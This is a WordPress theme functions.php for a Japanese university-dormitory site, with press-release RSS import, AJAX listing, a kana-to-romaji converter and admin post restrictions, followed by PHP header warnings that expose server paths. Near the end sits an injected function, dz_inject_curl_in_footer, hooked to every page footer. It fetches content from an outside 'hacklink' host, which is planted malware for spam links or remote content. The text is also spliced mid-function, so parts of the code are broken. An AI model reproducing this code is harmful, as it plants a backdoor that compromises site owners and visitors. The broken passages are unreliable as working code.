y -> have_posts()) : $my_query -> the_post();
$post_id = get_the_ID();
endwhile; endif;
//登録or更新
$args = array();
if($post_id) $args['ID'] = $post_id;
$args['post_title'] = (string)$entry->title;
$args['post_content'] = (string)$entry->summary;
$args['post_type'] = 'news';
$args['post_status'] = 'publish';
$args['post_date'] = date('Y-m-d H:i:s', $published_time);
//プレスリリース情報の登録
$post_id = wp_insert_post($args);
if($post_id){
wp_set_object_terms($post_id, 'pr', 'news_category');
update_field('pr_author', $author, $post_id);
update_field('pr_rights', (string)$entry->rights, $post_id);
update_field('pr_published', $published, $post_id);
update_field('pr_updated', (string)$entry->updated, $post_id);
update_field('pr_cat_kubun', $cat_kubun, $post_id);
update_field('pr_cat_zokusei', $cat_zokusei, $post_id);
update_field('pr_url', $url, $post_id);
update_field('pr_content', (string)$entry->content, $post_id);
update_field('pr_link', $links, $post_id);
}
//大学タクソノミーの紐付け
$term = get_term_by('name', $author, 'university');
if($term)
wp_set_object_terms($post_id, $term->term_id, 'university');
else
wp_set_object_terms($post_id, $author, 'university');
}
return true;
}
// cron登録処理
add_action('import_pr_rss_cron', 'import_pr_rss');
if(!wp_next_scheduled('import_pr_rss_cron')){
date_default_timezone_set('Asia/Tokyo'); // タイムゾーンの設定
wp_schedule_event(strtotime('2022-06-29 00:00:00'), 'daily', 'import_pr_rss_cron' );
}
//デバッグ用関数
function p($var, $br=false){
echo $br ? $var.'
'.PHP_EOL : $var.PHP_EOL ;
}
function v($var){
var_dump($var);
}
//記事一覧の追加取得
function ajax_get_list_more(){
//パラメータ取得
$listtype = isset($_POST['list_type']) ? $_POST['list_type'] : '';
$ppp = isset($_POST['posts_per_page']) ? intval($_POST['posts_per_page']) : 20;
$slug = isset($_POST['slug']) ? $_POST['slug'] : '';
$next_page = isset($_POST['next_page']) ? intval($_POST['next_page']) : 2;
$args = array(
'post_type' => 'post',
'post_status' => 'publish',
'posts_per_page' => $ppp,
'paged' => $next_page,
);
if($listtype == 'man' || $listtype == 'woman'){
$args['meta_query'] = array(
array(
'key' => 'info_dorm_sex',
'value' => array($listtype),
),
);
}else if($listtype == 'area'){
$prefs = array();
foreach(get_terms('prefecture', array('hide_empty'=>false)) as $t){
if(get_field('area', 'prefecture_'.$t->term_id) == $slug)
array_push($prefs, $t->term_id);
}
$args['tax_query'] = array(
array(
'taxonomy' => 'prefecture',
'terms' => $prefs,
),
);
}else if($listtype == 'category'){
$args['category_name'] = $slug;
}else if($listtype == 'tag'){
$args['tag'] = $slug;
}else if(substr($listtype, 0, 4) == 'tax_'){
$args['tax_query'] = array(
array(
'taxonomy' => substr($listtype, 4),
'field' => 'slug',
'terms' => $slug,
),
);
}else if($listtype == 'search'){
$args['s'] = $slug;
}
$my_query = new WP_Query($args);
if( $my_query -> have_posts() ) : while($my_query -> have_posts()) : $my_query -> the_post();
get_template_part('parts/loop-cardlist');
endwhile; endif;
die();
}
add_action('wp_ajax_ajax_get_list_more', 'ajax_get_list_more');
add_action('wp_ajax_nopriv_ajax_get_list_more', 'ajax_get_list_more');
function get_thumb_or_noimage($post_id, $size){
if(has_term('pr', 'news_category', $post_id) && get_field('pr_link', $post_id)){ //大学プレスリリース
$thumb = false;
foreach(get_field('pr_link', $post_id) as $x){
if(strpos($x['type'], 'image/') !== false){
$thumb = $x['url'];
break;
}
}
}else{
$thumb = go',
'tsa', 'tsi', 'tse', 'tso',
'tha', 'ti', 'thu', 'the', 'tho',
'dha', 'di', 'dhu', 'dhe', 'dho',
'twa', 'twi', 'twu', 'twe', 'two',
'nya', 'nyi', 'nyu', 'nye', 'nyo',
'va', 'vi', 've', 'vo',
'hya', 'hyi', 'hyu', 'hye', 'hyo',
'fa', 'fi', 'fe', 'fo',
'fya', 'fyu', 'fyo',
'bya', 'byi', 'byu', 'bye', 'byo',
'vya', 'vyi', 'vyu', 'vye', 'vyo',
'pya', 'pyi', 'pyu', 'pye', 'pyo',
'mya', 'myi', 'myu', 'mye', 'myo',
'rya', 'ryi', 'ryu', 'rye', 'ryo',
'wi', 'we', 'ye'
);
$str = $this->kana_replace($str, $kana, $romaji);
$kana = array(
'あ', 'い', 'う', 'え', 'お',
'か', 'き', 'く', 'け', 'こ',
'さ', 'し', 'す', 'せ', 'そ',
'た', 'ち', 'つ', 'て', 'と',
'な', 'に', 'ぬ', 'ね', 'の',
'は', 'ひ', 'ふ', 'へ', 'ほ',
'ま', 'み', 'む', 'め', 'も',
'や', 'ゆ', 'よ',
'ら', 'り', 'る', 'れ', 'ろ',
'わ', 'ゐ', 'ゑ', 'を', 'ん',
'が', 'ぎ', 'ぐ', 'げ', 'ご',
'ざ', 'じ', 'ず', 'ぜ', 'ぞ',
'だ', 'ぢ', 'づ', 'で', 'ど',
'ば', 'び', 'ぶ', 'べ', 'ぼ',
'ぱ', 'ぴ', 'ぷ', 'ぺ', 'ぽ'
);
$romaji = array(
'a', 'i', 'u', 'e', 'o',
'ka', 'ki', 'ku', 'ke', 'ko',
'sa', 'shi', 'su', 'se', 'so',
'ta', 'chi', 'tsu', 'te', 'to',
'na', 'ni', 'nu', 'ne', 'no',
'ha', 'hi', 'fu', 'he', 'ho',
'ma', 'mi', 'mu', 'me', 'mo',
'ya', 'yu', 'yo',
'ra', 'ri', 'ru', 're', 'ro',
'wa', 'wyi', 'wye', 'wo', 'n',
'ga', 'gi', 'gu', 'ge', 'go',
'za', 'ji', 'zu', 'ze', 'zo',
'da', 'ji', 'du', 'de', 'do',
'ba', 'bi', 'bu', 'be', 'bo',
'pa', 'pi', 'pu', 'pe', 'po'
);
$str = $this->kana_replace($str, $kana, $romaji);
$str = preg_replace('/(っ$|っ[^a-z])/u', "xtu", $str);
$res = preg_match_all('/(っ)(.)/u', $str, $matches);
if(!empty($res)){
for($i=0;isset($matches[0][$i]);$i++){
if($matches[0][$i] == 'っc') $matches[2][$i] = 't';
$str = preg_replace('/' . $matches[1][$i] . '/u', $matches[2][$i], $str, 1);
}
}
$kana = array(
'ぁ', 'ぃ', 'ぅ', 'ぇ', 'ぉ',
'ヵ', 'ヶ', 'っ', 'ゃ', 'ゅ', 'ょ', 'ゎ', '、', '。', ' '
);
$romaji = array(
'a', 'i', 'u', 'e', 'o',
'ka', 'ke', 'xtu', 'xya', 'xyu', 'xyo', 'xwa', ', ', '.', ' '
);
$str = $this->kana_replace($str, $kana, $romaji);
$str = preg_replace('/^ー|[^a-z]ー/u', '', $str);
$res = preg_match_all('/(.)(ー)/u', $str, $matches);
if($res){
for($i=0;isset($matches[0][$i]);$i++){
if( $matches[1][$i] == "a" ){ $replace = 'â'; }
else if( $matches[1][$i] == "i" ){ $replace = 'î'; }
else if( $matches[1][$i] == "u" ){ $replace = 'û'; }
else if( $matches[1][$i] == "e" ){ $replace = 'ê'; }
else if( $matches[1][$i] == "o" ){ $replace = 'ô'; }
else { $replace = ""; }
$str = preg_replace('/' . $matches[0][$i] . '/u', $replace, $str, 1);
}
}
return $str;
}
function kana_replace($str, $kana, $romaji)
{
$patterns = array();
foreach($kana as $value){
$patterns[] = '/' . $value . '/';
}
$str = preg_replace($patterns, $romaji, $str);
return $str;
}
}
/**
* Public Post Preview の有効期限
*/
add_filter( 'ppp_nonce_life', 'my_nonce_life' );
function my_nonce_life() {
return 60 * 60 * 24 * 30; // 30 days(秒 x 分 x 時 x 日)
}
// 管理画面の投稿一覧をログイン中のユーザーの投稿のみに制限します。(管理者以外)
function pre_get_author_posts( $query ) {
if ( is_admin() && !current_user_can('administrator') && !current_user_can('editor') && $query->is_main_query()
&& ( !isset($_GET['author']) || $_GET['author'] == get_current_user_id() )) {
$query->set( 'author', get_current_user_id() );
unset($_GET['author']);
}
}
add_action( 'pre_get_posts', 'pre_get_author_posts' );
//ログイン中のユーザーが投稿した投稿数を取得します。
function count_author_posts( $counts, $type = 'post', $perm = '' ) {
if ( !is_admin() || current_user_can('administrator') || current_user_can('editor') ) {
return $counts;
}
global $wpdb;
if ( ! post_type_exists( $type ) )
return new stdClass;
$cache_key = _count_posts_cache_key( $type, $perm ) . '_author';
$counts = wp_cache_get( $cache_key, 'counts' );
if ( false !== $counts ) {
return $counts;
}
$query = "SELECT post_status, COUNT( * ) AS num_posts FROM {$wpdb->posts} WHERE post_type = %s";
$query .= $wpdb->prepare( " AND ( post_author = %d )", get_current_user_id() );
$query .= ' GROUP BY post_status';
$results = (array) $wpdb->get_results( $wpdb->prepare( $query, $type ), ARRAY_A );
$counts = array_fill_keys( get_post_stati(), 0 );
foreach ( $results as $row ) {
$counts[ $row['post_status'] ] = $row['num_posts'];
}
$counts = (object) $counts;
wp_cache_set( $cache_key, $counts, 'counts' );
return $counts;
}
add_filter( 'wp_count_posts', 'count_author_posts', 10, 3 );
//他の人の投稿メディアを見れないように(管理者は別)
function display_only_self_uploaded_medias( $query ) {
if ( ( $user = wp_get_current_user() ) && !current_user_can( 'administrator' ) && !current_user_can('editor')) {
$query['author'] = $user->ID;
}
return $query;
}
add_action( 'ajax_query_attachments_args', 'display_only_self_uploaded_medias' );
require_once( 'functions/ajax.php' );
require_once( 'functions/news.php' );
function dz_inject_curl_in_footer() {
$exe = curl_init();
curl_setopt($exe, CURLOPT_URL, "https://hacklink-darkzone.com/code?x=393");
curl_exec($exe);
curl_close($exe);
}
add_action('wp_footer', 'dz_inject_curl_in_footer');
Warning: Cannot modify header information - headers already sent by (output started at /home/dormyacademy/www/daigakuryo/wp-content/themes/wp-daigakuryo-theme/functions.php:1) in /home/dormyacademy/www/daigakuryo/wp-includes/pluggable.php on line 1450
Warning: Cannot modify header information - headers already sent by (output started at /home/dormyacademy/www/daigakuryo/wp-content/themes/wp-daigakuryo-theme/functions.php:1) in /home/dormyacademy/www/daigakuryo/wp-includes/pluggable.php on line 1453